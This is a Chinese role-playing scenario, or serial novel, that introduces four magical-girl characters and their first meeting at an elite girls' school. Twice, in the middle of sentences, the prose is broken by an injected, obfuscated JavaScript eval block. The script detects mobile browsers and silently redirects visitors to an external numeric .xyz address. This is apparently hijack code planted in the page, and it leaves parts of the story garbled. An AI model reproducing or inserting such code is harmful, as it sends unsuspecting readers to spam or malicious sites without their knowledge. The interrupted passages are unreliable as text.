《四个魔法少女的生存游戏》 1. 人物介绍 PC1: 贝斯(森山寺未央) ——如果这样一来就能拯救那个人的话,我愿意成为魔法少女。 她的痛苦就是你的痛苦,她被救赎便是你被救赎,于是危险和未知的命运都变得不再那么重要了,你只是想要抓住那双手再久一些,直到那个人获得真正的幸福。 有些严厉但会尽量满足孩子愿望的父亲,总是十分忙碌但从不缺席重要日子的母亲,有时会给你找麻烦但也没少给你出头的双胞胎姐姐,以及点子总是很多有些三分钟热度的你,这样的四个人组成了一个即常见又难得可贵的幸福家庭。你自小遍知道自己的家人是爱自己的,并且大事小事都可以与家人讨论,想要什么都可以提出来。 幼时你展现出了超出常人的好奇心和天赋,这对于你家里的所有人来说既是礼物也是一种考验,但毫无疑问的是,你与你的姐姐二人无论何时都是同龄人中耀眼的存在。这份耀眼无差别地吸引视线,你们在视线中长大,但也总不习惯视线的存在。 但无论如何,你满意你的生活。 你喜欢妈妈微笑着亲吻你的额头,喜欢爸爸送你上学时回头提醒你有不开心的事情记得说,喜欢姐姐在放学后与你手牵手回家,路上争论最后一点零食渣属于谁。曾经这些一切对你来说都是理所当然的事情,你并没有对这些感到不满,但你总渴望一些超出现实的东西,当然,对于你这样的少年来说这也是理所当然的。 在你还未学会如何放下太过飘忽不定的梦想之前,现实的陨石先一步砸向了你的家庭,你的姐姐被诊断出了精神病。 实际上一切都是有预兆的,你与她明明是双胞胎,但你清楚地理解你们之间有着巨大的差别,你一开始并不清楚,双胞胎之间性格有着这样大的差距实际上是一件非常异常的情况。而在大人眼里,时常模仿你行为的姐姐与你看来没有多大的区别。 你们二人从小一起长大,父母遍理所当然地认为你们会互相照应,但在年幼的你好奇周围的一切时,你的姐姐时常只是愣愣地看着你。在你吵闹着要学习体育艺术音乐陶艺时,你的姐姐一边附和着自己也要一边对这一切都提不起一丝兴趣。你去哪,你的姐姐就去哪,你怎么做,你的姐姐就做什么,你喜欢什么,你的姐姐遍与你争抢。 你们是双胞胎,相似是理所当然的事情,更何况你的姐姐有时做的比你还好,谁也看不出来她仅仅是因为模仿你才作出那些行动。直到有一天,你装作认真地和你姐姐开玩笑说,我们也太相似了,比起双胞胎更像是一个人被分成两个。她当时站在原地很久很久没有动作也没有说话,你提高声音也不理你,你伸手去推她,她像是收到了极大的刺激一般将自己身上的一切都砸向你。 “我不是你!”她这样说着,同时像是要证明这一点一样剥落着自己身上的一切,你抬手挡住对方砸过来的书包和提袋,再去看时发现她甚至在脱自己的衣服,因为那是和你身上所穿着的相同款式的校服。 你不知如何是好,也不知道自己做错了什么,等一切尘埃落定之后,你被告知你姐姐疯了。 自我概念混乱,B类人格障碍,未能完全确诊,有对外界和自身产生攻击性。 她被带走接受治疗,很长一段时间不接受外部的探访。你与你的父母被外界恶意揣测指责,家庭环境顷刻间变得恶劣了下来,父母好像是在一夜之间看上去疲惫了很多的,她们互相指责,争吵不休。 你也没少被别人问问题,但你确实是真的什么都不知道,你的姐姐在那一瞬间像是变成了一个完全陌生的人。你即悲伤又恐惧,你希望自己的姐姐变回来原来的样子,也希望自己的家庭恢复如初。 你日夜重复的愿望在梦中被奇迹眷顾了,奇迹说,这世间魔物横行,若是你愿意作为魔法少女与之战斗,奇迹便会给予你的姐姐一个不会动摇的灵魂。 你毫不犹豫地答应了并给予尝试,不久后,你被喜极而泣的父母告知了姐姐的状态稳定下来了的消息,虽然还需要观察一段时间,但已经可以去看望她了。 你们三人前往了病房,你的姐姐看上去消瘦了很多,但不再表现出疯狂,而是平静地看向你们并且与你们交流,你小心翼翼地将秘密藏好,与她相拥。 不久后你姐姐出院,她说自己当时不知为何产生了巨大的恐慌,但现在已经无法回忆起当时的感受了。你明白这只是一时的平静,你的姐姐的只是因魔法而获得了暂时的平静。 但你只是说:欢迎回来。 新学期父母将你们二人转学去了与家相隔甚远的日之森女校并让你们居住在校外不远处的公寓,希望你们能获得平静的高中校园时光。 PC2:键盘手主唱(有乐羽生) ——为了看到命运的另一条路,我会作为魔法少女战斗下去。 或许与自己的曾经完全背道而驰并不是一个明智的选择,但对于你来说,若是在看见过晴空之后还要回到井底,那还不如死去,你真正渴望的并不是天空,而是抬眼便能看见天空的自由。 自你有意识地察觉到自己家庭的不同时,你便知道自己与这世间的大多数困难都无缘了。 你出生的家庭环境优良,注重传统,至于具体有多优良并不好说,你知道无论多优良的阶级之上都有需要仰望的存在,所以你对于这一点并不在意,也不拿家庭背景说事。但传统却是压在你身上的一座大山,且随着你年龄增长并没有觉得背负它变得轻松。 你的父母为这座城市的掌控者之一,但偶尔你也能意识到她们二人虽然表现地从容得体,却也偶尔要听从其它位置更高的人所说之意,哪怕不满也不能拒绝。 你的母亲名为有乐千奈,曾经似乎在各个区域都有所活跃,直到与你的父亲相遇才开始退居幕后,但如今依旧是在哪里都能说上话的角色。你的父亲有乐善太郎是本市市长,这个位置自从多年前入赘你的母亲后凭借她的手段一直稳坐至今。 外界的评论你从不在意,因为家人的话语就足够你感到疲惫。 但无论如何你的人生几乎是一帆风顺的,还未正式入学时你便已经接受了非常全面的私人教育,你的父母力求你成为精英中的精英,与家里那一扇再也不会被开启的门的主人不同,要做一个完美的人。你不理解何谓完美,便只是顺他们的意思完成自己每天的任务。并尽可能地保护自己的内心不被伤到。 你的教育,生长环境,吃穿用度都是最好的,至少你的父母说是最好的,也说你是听话又完美的孩子。但直到你年龄到了入学年纪,进入了日之森女校,你才意识到“完美”的小孩实际上并不只有你一个,你在父母的示意下与她们交好,但却无法真正与她们敞开心扉。 若是我并不是独一无二的完美的那个人,那我又算什么呢? 于是你产生了困惑,你不明白到底什么样的人才算是完美,到底什么样才算是最好,你的父母无法解答你的问题,或者说他们根本不在乎你的疑问,某天你终于意识到他们嘴里说的总是你但与实际上的你无关,他们根本不在乎真正的你的存在和诉求。 你应该为此感到痛苦的,但长期的自我暗示让你去寻找东西转移一下注意力。 于是你想转而去问家里除了自己以外的另一个存在,你只了解她一点点,毕竟父母每次提起她都是将其作为方面教材批评,你不知道她的名字,不知道她为何不在这里。她的房间不被允许开启进入,她的名字不被允许提起。 后来你猜测,她大概是你的姐姐,大概比你大十五岁,你出生的前一年她一心要做自己的事,要做一个“没救了”的人,离开了家再也没有回来,第二年你出生了。 理论完成闭环:你的姐姐因为受不了家里的环境离家出走,你的父母没有去尝试寻找,而是生下你作为替代品 那瞬间你感受到的是悲伤和恐惧,你自认没有自己姐姐那样的能力和勇气脱离父母的帮助独自生活,也无法想象独自一人生活会是什么样的。你害怕自己若是不完美便会遭到父母的抛弃,又悲伤自己的父母爱的并不是你本身,而是他们想象中的那个完美孩子。 之后的很多年里你几乎像是个木偶一般完美地履行了父母的所有要求,你的父母对你赞叹有加的同时,偶尔也会提出一些你难以理解的要求,他们似乎希望你变得更完美,但却甚至无法提出完成后就让你变得“更完美”的任务。 对与这样的做法你没什么想说的,或者说在这个家里你真正想做的事情,想说的话并没有人在意,你的父母拥有绝对的发言权,你除了“我明白了”以及“我完成了”以外的言语会被自动无视掉。 久而久之,你也不知道自己真的想要什么,想做什么了。 你深刻且无奈地意识到,你绝对没有变得更完美,甚至反而是在变得更加平庸,更加不值一提了。 只是偶尔,你在室外抬起头,看见晴朗的蓝空,你会想要拥有一对能够带着你离开地面,自由地飞行的翅膀。这个想法是你唯一出格,唯一特殊的存在。 那天是你初中毕业典礼,天气很好,人们也站在自己应该在的位置上,你一如既往不经意地抬头的一瞬间,天上的云朵为你的愿望而停驻,它问你,如果想要自由的话,要不要成为魔法少女呢? 是最近太累了吗?还是说你终于疯了?你意识到自己抬起头的时间太长了,却不愿假装没看见。你的舌头无法说出渴望自由的言语,耳朵听不见自己那越来越多的困惑的答案,但你的眼睛,绝对无法从那美丽的蓝色天空上移开。 你愿意的。 PC3: 鼓手-作词(艾克里普-阿尔卡纳) ——如果这样就能守护大家的话,那么我接受这份命运。 毫无疑问,你是被选中的孩子,但你也选择背负起这份责任和命运,既是是在你还不知道这些意味着什么的时候。 虽然外表看似只是一位普通学生,但只有你知道,你是来自阿尔卡纳国度的魔法师,与周围的同学有着本质上的区别,你被赋予了从魔物手下守护这座城市的重要职责,你深知其中不易,但依旧独自隐秘地作为魔法少女战斗。 与周遭的人类不同,你实际上本并不是自地球诞生的某种碳基生物。你在睁开眼睛的不久之前还是阿尔卡纳国度的一员。 那个没有时间与空间的概念存在的国度中,唯一的存在,也是唯一的国王将你捏造出来,赋予你知识,记忆,以及禁令,也告知你任务,并让你在这座城市里睁开了眼,从那一刻起,你才算是拥有了灵魂。 你万分珍惜的一切,虽然与阿尔卡纳国度不同,这里的人们各自拥有自己的思想,不会使用魔法,需要进食,会用谎言欺骗其他人类,但你依旧认可这一切的存在是有意义的,并将其守护。 人类的本性你一眼便能看出,没有谁能在你的眼前隐藏自己,于是你从不因人类的谎言而受伤。与此同时你在人世间是绝对的最强大的个体,人类没有能伤害到你的手段。 作为天生的魔法使用者,你几乎精通人类认知中的一切魔法,无论是点石成金,变形,还是变出花朵,对你来说只是一个念头便可成真。但你无法做到倒转时间,让生命死而复生之类,或者干涉活者的精神,因为国王在规则中禁止了这一切。 你无法做到,而同时你也知道,这些魔法会造成极其严重的后果。 在你刚开始接触消灭魔物的任务时,禁令困扰了你很长一段时间,甚至让你感到迷惑和痛苦。你无法控制的怜悯与同情心让你看见城市中的无辜生命逝去便会感到悲伤,看见建筑倒塌,物品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果这个世界上所有人的一生都按优良顺序排列在一张纸上,那么你在那之前的短暂人生毫无疑问可以被放到地狱级别。你有意识起便生活在偏远地区的孤儿院里,可惜的是那怕是在偏远地区,孤儿依旧一样地泛滥,生存任务难度对你来说实在是高,高到对生存的渴望磨灭了你的一切其它可发展空间,以至于你拥有极低的可能性成为一个正常的孩子,无论是心理还是身体上。 难以置信的是,你并非真正的孤儿,你的父母尚在人间,这件事是你无意间听见孤儿院的一位老护工谈论起的,那时你的惊讶已经让你下意识地忽略了那位老护工嬉笑嘲弄的期待神色,你实在是过于厌恶自己所在的环境,以至于你当时便连滚带爬地跑到了孤儿院长的办公室质问自己父母的事情。 而你得到的只有夺走你就剩下些许拥有正常人生的可能性的事实:你的父母不会来找你,并且什么都没有留给你,除了一份刻在DNA里的毒瘾发作可能性。 是的,你的母亲吸毒,父亲就是提供者。而现在你的母亲身处戒毒所,父亲会在几个月后被国家枪毙。 于是你终于意识到自己那怕什么都没做,什么坏事都没做,什么食物也没抢,什么坏念头都没起过,你也不可能会有一个更好的人生了,你生来就比他人缺少一部分可能性,而后天的恶劣甚至环境更是将你死死的摁在了地上。 有一次,或者说很多次,晚上你没有睡着,你在想你不知道自己的年龄,孤儿院里所有的孩子在每年的儿童节统一过生日。 你思考,你的人生未来是什么样的?你还能活多久?明天能吃到饭吗?为什么还没睡着? 你偷偷地跑出了孤儿院,但没跑很远,只是在后院那个白日里总有人抢的石凳上坐下了,你看着天空的月亮,很大很圆,一如既往。 这样的月亮仿佛成为了你唯一的倾诉对象,虽然偶尔会变得有些不同,但优点是每天晚上都会准时出现。 你想了很多事情,比如往常白日里听见的一些话,读过的一些书,你思考山的另一边真的有人在生活吗。无意之中你想起那些脑子里偶然瞥见一眼的照片,那些楼屋为何与孤儿院如此不同,那孩子为何如此不同。 你忽然恐惧至极地意识到:这个世界上确实存在着照片上那样幸福的人,而你的人生已经完蛋了。 你开始哭泣,你无意识地乞求,你没有乞求的对象,于是你向月光乞求道:你想离开这里,你想活下去,你想获得幸福。 月亮高悬与天上,有风吹过,这里已然没有谁在,但奇迹确实降临了。 你被问道:这世界上存在魔物,需要魔法少女去与之战斗,如果你接受,那你可以获得力量活下去。 泪水模糊了的视线之后,你隐约看见了扭曲的月亮与红色的光芒,你应该是近乎疯狂地咧开眼眶和嘴,说你愿意。 月光照拂于你,你得到了一份力量,从此之后你便脱胎换骨了,不再受过往的苦。 强大的力量充斥着你的身体,你回头看了一样半夜那空无一人的孤儿院,朝山的另一边走去了,去追逐你所渴望的“正常人”的人生。 过程是折磨而痛苦的,但你总能与那常伴的明月倾诉你的内心,哪怕没有回应,你依旧获得了前进下去的动力。只要努力就能获得自己想要的东西,你深信不疑。 不计时日的岁月过去之后,你来到了这座城市,使用了一些魔法让自己在这里立足,并且真正脚踏实地地耗费了一段时间去学习一个“正常人”该有的常识和知识。 你考入了日之森女校的高中部,这令你即兴奋又忐忑不安,过去的一切似乎已经无法追上你的脚步,此后的一切都会走向好的方向。 2. 人物导入 对于自小学起便就读于日之森女校的有乐羽生来说,入学仪式并不是什么值得她去期待的东西,毕竟她曾两度参与其中,初中时她更是作为学生代表之一坐在了第一排的日子,高中入学仪式依然如此。 与其他老师与学生代表坐在第一排实际上并没有什么特殊的作用,除开特别醒目以外,即不需要上台讲话也不需要给其他同学发放文件——这些是学生会普通成员的任务,高中部和初中部的学生会成员加一起有60余人。其中除去高中部的主席与副主席,作为学生代表的6人皆为校董会成员的孩子,有乐羽生便是其中一位。 在崇尚多元化的现在,学生代表已经不再如过去一样在校园内拥有说一不二的权利,而是需要靠自身威望维持自己的影响力。 她偏头看去,自己左右两边的同学多数都是自己自小学起便彼此认识的孩子,在父母的指示下,她与其中每一个都能说上几句话。 抬头看去,包括自己父母在那的校董会成员,特邀嘉宾以及赞助人士坐在二楼。 日之森校董会共13人,除去建校家族的二人之外,其余几位都是教育专家代表与日之森基金会代表,除了重要时刻她们基本不会一同出现,但实际上无论发生什么事,有乐羽生从来没见过13个人一起出现过。 反倒是学生会会议每次都是全员到齐呢,有乐羽生面带微笑着想。她的心思早就飘到别的地方去了,初中毕业的假期一如往常那般充斥着各种日程,但夜晚总归是属于她自己的。 台上校长正在鼓励学生们探索多样性,这位年过六旬的女士头发花白,但背挺的很直,有乐羽生小学入学仪式时讲话的并不是这一位,日之森校长每五年一换,皆由校董会选举上任。 演讲结束后,所有人鼓掌,随后是高中部学生会主席讲话,这位在初中部便作为主席为学生会尽职,升上高一后继任高中部主席也无人质疑。有乐羽生与这位的关系更亲近些,虽然也有父母在其中牵线的原因,二人是偶尔会一起吃午饭的关系。 所有讲话结束之后,合唱社团的同学上前演唱校歌,这校歌的年份比有乐羽生的年龄还大,歌词简单明了,曲调耳熟能详。 日之森女校的开学日通常并不上课,各位教师会在教室介绍自己,同学之间会互相交流并熟络起来,同时考虑社团的选择。 由于日之森女校崇尚多元化发展,近2平方公里的占地内除去绿地和湖泊区,近一半的区域被划为学生的自由活动区域,并且会根据要求提供社团充足的经费。 同时若是学生想要自主研究喜欢的区域,只要提交足够的书面材料并且集齐四个人便能组成交流会,拥有一间教室大小的活动室。若是集齐20人便能申请成立正式社团,根据活动分配独立的空间。 校内最瞩目的就是音乐相关社团所在的活动大楼是校区内第二大的建筑,最大的是举行音乐会与各种典礼活动的礼堂。 不过这些与有乐羽生关系并不大,她烦恼自己该如何处理社团相关的问题,父母嘴上说着将选择权交给自己,但他们不会乐意看到自己加入不能在简历上添一份重量的社团。 若是以往,她并不需要因此而烦恼,但现在她需要更多的时间履行魔法少女的义务,初中部时她尚且还能以学生会的名义拥有一些私人时间,但高中部便不行了。热门社团不仅仅需要每日的放学后练习,就连双休日的时间都会被占去。 但若是违背母亲的意愿,有乐羽生深知自己面临的只会是失去更多的自由。 于是留给她的选择只有一个:寻找一个能获得优秀奖项或者活动目标,又不需要占据太多时间的社团。但这在日之森女校几乎是不可能的,曾经有获奖记录的社团中人数最少的是围棋社,但先不提围棋社的入会为推荐制并且总人数固定,围棋社部长几乎每日都要求部员放学后练习至少两小时,这个规矩在初中部就广为人知了。 难道说作为魔法少女活动和维持父母眼中自己的形象只能二选一吗?有乐羽生纠结着这件事,表面上维持着微笑,一直到进入教室为止都沉浸在自己的思绪中。 开学之前父母便已经多次明里暗里问过对于高中社团的选择了,之前还以模糊不清的回答糊弄了过去,但开学后一周便必须要决定社团选择了,不然社团活动负责人会根据学生的表现和倾向安排,这绝对不是一个好选择。 就在她边思考边走进自己的教室时,她恍惚间感受到了附近传来了魔法共鸣,但这份共鸣与魔物传来的那种满含恶意的混乱波动不同。有乐羽生停住了脚步,不可置信地朝教室的同学们内看去。 此时教室内已经聚集了不少的学生,不出意外的话大家将在一起度过未来的四年,提前寻找朋友并没有坏处。有乐羽生在教室内环视一圈,将自己的视线放在了四个人身上。 最显眼的那位她并不陌生,这位艾克里普-阿尔卡纳同学是来自英国的交换生,她作为学生代表之一已经提前知道了对方会和自己一个班级,并且需要照顾一下对方,多位同学好奇地围绕着这位金发碧眼的外国友人交谈,并对其熟练的语言能力表达赞叹。 随后是一对一眼就能看出是双胞胎的姐妹,她同时也并不陌生,其中的那位姐姐森山寺未雅不久之前才从精神病院总康复出院,其父母为二人转校至这所宣扬多元化的女校可见其用心,有乐羽生也同样被告知需要对其关照一二。 有乐羽生凝神看去,传来魔法波动的是其中一位,她暂时还分不出谁是谁。 最后是靠近窗户的一位个子不高但面色冷峻的新面孔,独自一人待在原地并没有与别人说话的意思。此时她正在翻看手里的一沓文件,有乐羽生稍微走进一些,就认出那是新社团申请文件。 如果对方也是魔法少女的话那或许与自己有着差不多的烦恼,有乐羽生这样想着,按下心中的惊讶与欣喜,准备走上前去与对方谈一谈。 顺利的话那或许她就要拥有真正意义上的朋友了,有乐羽生如此期望着。 对于之前从未有过真正意义上的学生生涯的犬山晓来说,她眼前的一切都是新奇而珍贵的,而这一切又恰恰是她努力所达到的,于是她对于一切都感到满意。 那怕没有去过学校,但犬山晓也曾在狩猎魔物时潜入过其他学校的校区,日之森与前者相比简直大到别出一格,于是在对于一切都饱含好奇的同时,她也暗自产生了一些压力。 周遭的同学大多数只是看一眼便能看出曾经的生活轨迹,哪怕是在正常人中也是最为优秀的那一类了,而她在靠着魔法作弊的情况下才能过与这些同学同处于一个教室内。 或许现在还因为彼此之间并不熟悉而不会被察觉到不同,但以后四年都需要一起学习,犬山晓并不希望自己因为无法融入班级而度过一段并不美好的校园时光。她从未真的与这个年龄段的人面对面平等地交流过,更别提讨论学业爱好什么的。 在这个班级中,虽然也有同犬山晓一样转校或者通过入学考试进入高中部的学生,但她们大多数与日之森学校本来的学生并没有多少区别。毕竟日之森的学习资源丰富,为想要借助其力量攀登更高地位的学生们设置了非常困难的门槛,首先便是入学考试和入学条件。 高中部的入学考试堪比正常学校高中毕业考试,虽然说并不要求考生取得满分,但毫无疑问过低的分数绝不会被接受。在笔试之外还有面试,犬山晓依然记得她面试时的情况,那怕她已经提前得知了面试的内容,但当她同时面对三位老师的连续提问时,也只能强迫自己尽可能冷静细致地回答问题。 除此之外,入学前的获奖,志愿者参与情况,家庭背景,推荐书都是入校申请需要的材料。这些对于当时刚刚来到这个城市,想要凭借魔法作弊考入日之森学校的犬山晓来说几乎是致命的打击,那时她才刚刚想办法搞定了自己的身份问题,但那怕是假身份也不足以满足所有的入学材料。 于是在得知了高中部的申请最后期限后,犬山晓一边在城市中消灭魔物,一边想方设法找到前几年的高中部新生入学申请材料作为参考,准备入学考试和申请材料。 事实上当时她自己都并不认为自己能完成这些,毕竟一开始她也只是想成为一个“普通”的学校的学生,普普通通地度过学生生涯,顺理成章地作为普通人在城市里定居,一边消灭魔物一边过好自己的人生。 但或许是她确实努力过头了,又或许魔法的效果实在是太出乎意料,她以几乎满分的成绩同时通过了面试和笔试,她的身份背景不仅没有成为阻碍,反而被面试官鼓励说希望她能在日之森度过一段精彩的人生。 现在犬山晓已经不记得当时的心情了,那天回到临时在这个城市租下的公寓后,她看着窗外的夕阳在地上躺了很久,直到天黑,才想起来可以像个普通人一样去吃点好的庆祝一下。 在入学前的一段时间里犬山晓并没有闲着,她为自己申请了学校的宿舍,并且将自己不多的东西全部搬了过去。 日之森并不是寄宿制学校,但在校区附近建有一栋供需要的学生或老师申请的公寓楼,由于学生的特殊性,往年几乎没有学生会住在这栋宿舍里,但日之森依旧为该建筑保持每季度的检查和维修。 住宿费用并不昂贵,至少比日之森的学费少许多,其设备和所处位置更是让其物超所值,若不是并不对外开放,那根本轮不到犬山晓这样迟来一步的人申请入住。 学生需要什么呢?犬山晓感觉一切都很梦幻,哪怕是当年她第一次成功变身,击溃魔物时都不曾抱有这样飘然的心情。她觉得自己的表情一定是非常奇怪的,但却无法控制,这份心情从未有过,但她非常喜欢。 不同季节的校服要去日之森附近的那家校服店买,还可以买有学校校标的领结和发带,不要忘记运动服。学习用品,书包,笔袋,一眼就看上的挂件。可以摆在宿舍里的装饰花瓶,以及使用魔法便永远不会枯萎的花束。家居服,拖鞋,餐具,好闻的洗漱用品,床单被套,舒适的地毯。以及如果,如果交到朋友的话,双休日出门时要穿的衣服。 某天犬山晓再次回到宿舍,推开门时,她看见的便是一间完全由她布置,属于她,不用担心失去的房间。 那时她便下定决心,无论如何都要抓住这一切。 总而言之,新生入学典礼结束后,得知高中部必须参与社团的犬山晓在思考过后决定由自己成立一个社团,社团活动内容需要为社团成员提供大量的私人时间,同时需要参与可以展现活动内容结果的比赛。 对活动内容苦思冥想的犬山晓一边走向自己的教室一边翻看包含社团规定的文件,同时思考自己该如何与未来的同学们打交道。 就在这时,她察觉到有谁站在了自己的桌子前面,挡住了些许从窗外透进来的光,抬头去看,她对这位女孩有些印象,最主要的是,她感受到了魔法的共鸣。 “您好,初次见面,”来者彬彬有礼地微笑着自我介绍,“我的名字是有乐羽生,是与你同一班级的学生。” 犬山晓在入学典礼时远远地看见过坐在第一排的有乐羽生,但由于当时距离很远并且她被台上的人吸引了注意力,便没有察觉对方身上的魔法波动。但她很快意识到此时对方主动来与自己谈话,一定也是注意到了自己身上的魔法波动。 这些毫无疑问令犬山晓感到了一些激动,以及忐忑不安,她在这座城市此前从未遇见过其它魔法使用者,于是她也并不清楚魔法少女之间是什么样的关系?是战斗的伙伴?还是利益争夺者?亦或者说是彻头彻尾的敌人呢? 但现在最重要的事情是回复这位面带微笑的有乐羽生同学,犬山晓无法看出对方的态度如何,只能尽可能地让自己看上去镇定自若。 “我的名字是犬山晓,初次见面,”她介绍自己的名字,正视对方,“我能感受到,我们有着相似之处。” 这样的回应算合格的吗?犬山晓不知道,她的心脏跳得很快。 这份答案明显符合来者的意图,于是她看见有乐羽生的微笑真挚了一些,“是的,这实在是难得的事情,我们有共同的目标,那一定也有着相同的烦恼才对。” 这份友善的态度让犬山晓放下了一些顾虑,她点了点头,“我确实在考虑自创社团来应对高中的社团活动问题,如果有乐同学能作为同伴来帮忙那再好不过了。” “当然,我也是为此而来,关于我们的私人问题我们可以一会再聊,我也很意外能在这里遇到同样的人。”有乐羽生说,“犬山同学对于社团活动有什么想法吗?” “事实上你来找我之前我还在头疼人员问题。”犬山晓摇摇头,“我希望社团中的成员能拥有大量个人自由活动时间,以活动表现来展现社团成果。” “这实在是一个完美的提案,”有乐羽生点了点头,“请让我也来帮忙想想办法吧,至于人员问题,我倒是有些头绪了。” 自这场谈话开始,犬山晓便发现这位有乐同学的说话语气相当地正式,与她本身强装出的从容不同,对方显然是在多年以来需要包装自我的环境下成长为自然而然便能面对外界的姿态。 犬山晓希望自己也能如此从容不迫地与人交谈。 “那真是再好不过了。”犬山晓意识到了对方语气里的潜台词。 “请看我们的同班同学,”有乐羽生抬起一只手,“想必您也发现了吧。” 顺着对方的手抬头看去,犬山晓迅速地注意到了艾克里普-阿尔卡纳以及森山寺双胞胎,她心下大为震撼,先前怎样都无法发现的魔法使用者此时在这间教室里出现了四位,并且还是同年龄段的同学,这是何等的巧合。 “分班确实是完全随机的,”有乐羽生也感叹道,“说实话,这简直就是奇迹一般的概率。” 就在二人感叹时,有声音传到了二人的脑海里。 【是的,这样的巧合在我看来就和奇迹没有区别了。】 【我在入学之前从未想过能遇到这样的情况,啊抱歉,初次见面就用这样的方式打招呼,但如两位所见我目前脱不开身。我是艾克里普-阿尔卡纳,能见到各位魔法少女真的非常,非常地开心!】 脑海里突然冒出声音的二人面面相觑,很快意识到了这是某种魔法的作用,在确定对方也能听见声音之后便理解了魔法的使用方式,并同样回应了对方。 【你能听见我脑子里的想法?】这是犬山晓。 【初次见面!您听见我们刚才的谈话了?】这是有乐羽生。 二人也同样听见了彼此的疑问。 【很抱歉惊吓到你犬山同学,但请放心,你们应该也能感受到,你们在传达想法时有耗费些许魔力,我并非窥探了二人的思想,只是我很难不注意到拥有相似之处的各位,便格外留心了二位的谈话。】艾克里普-阿尔卡纳一边与周围人谈话一边在意识中回应二人。 【不,没关系。】犬山晓对自己刚刚的警惕有些不好意思,于是她低下头去继续看文件。 【既然如此,那么阿尔卡纳同学是否也愿意帮助我们呢?】有乐羽生顺势询问。 【当然,让我们之后一起认真讨论一下吧。】艾克里普-阿尔卡纳非常愉快非常迅速地答应了,哪怕仅仅是脑内的传音,二人也能感受到她的期盼。 在城市中与流浪者无异的艾克里普在下定决心融入社会之后努力多年终于在城市中拥有了自己的一席之地,之后根据自己的外表决定成为一名高中生,阿尔卡纳国王赐予她的记忆中包含了这星球上所有的事实,她很快搞清楚了社会中学生系统是如何运作的,并且如何让自己加入其中。 虽然能够使用变形术,但艾克里普不太愿意掩盖这幅由国王亲自捏造出的躯体,而她实际上早便意识到自己的外貌与当地人有着很大的不同,若不做遮掩便很容易吸引到注意。在这样的情况下,艾克里普发现私立的学校通常对于这种现象更为习以为常。 于是在通过多方面的了解后,艾克里普选择了日之森这座接受外国交换生的私立学校,招生办对于转校生放松了申请材料的限制,只需要提交原学校的推荐信和成绩单,并且通过入学考试和面试就好。 这些对于艾克里普来说并不是难事,毕竟她不需要休息和进食,在学校以外的时间只需要用来消磨魔物。 她在那不久后便意识到了一直这样是行不通的,学生之间的联系更为紧密,她在学习之余还需要处理人际关系,除去学生身份以外她还需要处理自己作为一个人类的身份。若是她想要在隐藏自己魔法少女的身份的同时顺利保持学生身份,那她便必须处理一个学生的人际关系。 这件事对于艾克里普来说异常困难,她明白自己与常人有难以跨越的屏障,但她已经准备好面对一切困难了。 好在转校生的身份很大程度上解释了她的身份问题,类似于开支开源以及家庭背景的事情很容易糊弄过去,但关于她本身的事情就不是这样的。 艾克里普了解这星球上的一切物质以及历史,但她确实不知道该如何描述自己是一个什么样的人,面试时被问道兴趣爱好时,她也只能说喜欢研究各国的语言和文化。但她明白自己对次并不感兴趣,她只是擅长,她唯一重视并且放在首要位置的目标任务只有消灭魔物这一个。 融入社会这件事依旧任重道远,但艾克里普并不焦急。 参与入学典礼时,艾克里普很快便意识到了学校中有着其他魔法少女,她对此感到无比欣喜,那些孩子并不来自阿尔卡纳国度,但仅仅是同样能够使用魔法这一点便依旧让艾克里普对其产生认同感。 自从来到这个星球上之后,她再没有过真正意义上的交流,从前在阿尔卡纳国度时她与它们不分你我,也不存在时间。现在她感觉自己已经很久,很久没有能够交流的对象了。 阿尔卡纳同学来自哪个国家?我来自英国,很高兴能学习这里的文化! 阿尔卡纳同学说话时完全没有交流障碍嘛!很高兴你这样说! 阿尔卡纳同学平时会做些什么呢?我经常看书。 阿尔卡纳同学,我们来做朋友吧!我—— 到此为止了,艾克里普完全无法在预想中回答这样的问题,她理解朋友的意义,所以更加无法对那些与她有本质上不同的孩子们结交为需要互相坦诚相待的朋友。在进入这个学习开始,她早已准备好根据她曾经观察到的那样在学校里扮演一个学生。 感谢国王,您一定是察觉到了艾克里普的努力与孤独,将这样一个机会交给了她,让她得以展现部分真实的自我。 在入学典礼上,艾克里普便发现其它三位魔法少女虽然与她有相同的气息,当时她激动到近乎落泪,她许久没有这样强烈的感情波动了。 那三个孩子中,一个已经自己摸索很长一段时间了,但另外两个还相当的稚嫩,艾克里普决心与她们接触并交流,最好能教导她们作为魔法少女如何变得更加强大。 艾克里普作为这个城市的守护者从未见过其它魔法少女,她决心珍惜并保护好这些同伴。 【那位森山寺同学也能听见我们说话吗?】有乐羽生询问道。 【并没有,我看见她似乎正在与别人说话,就没有打扰她。】艾克里普回应道。 【那我去问问她吧。】有乐羽生点了点头说。 【麻烦你了。】犬山晓点点头。 而与自己的双胞胎姐姐一同转学到这所与之前的学校截然不同的森山寺未央此时确实在烦恼一些问题。 首先是日之森女校的制度,森山寺双胞胎之前在城市东部的公共学校就读,虽然说是市里名列前茅的学校,但与日之森比起来简直是过家家级别。 二人因特殊情况转学,入学考试和面试都是通过家访的方式解决的,好在二人往日成绩优秀,招生办在表示理解的同时很快便给予了通过。日之森女校名气很大,二人早听说过,但真正入学时还是吓了一跳。 “说真的,我以为动画里出现这种学校是结合了幻想和夸张的表现。”森山寺未央努力让自己的表情看上去自然。 “刚进学校附近我还以为走错到山区公园了。”森山寺未雅表示同意,“不过收到校服的时候就应该有所察觉的。” 日之森的校服相当独特,用料走线和裁缝都相当讲究,刺绣非常精美,并且为定制制度,不接受非本校学生购买,且大多数本校学生都不会主动出售自己的校服,无论是衣物还是饰品都在不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706115|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校服收藏家眼里有极大的价值。 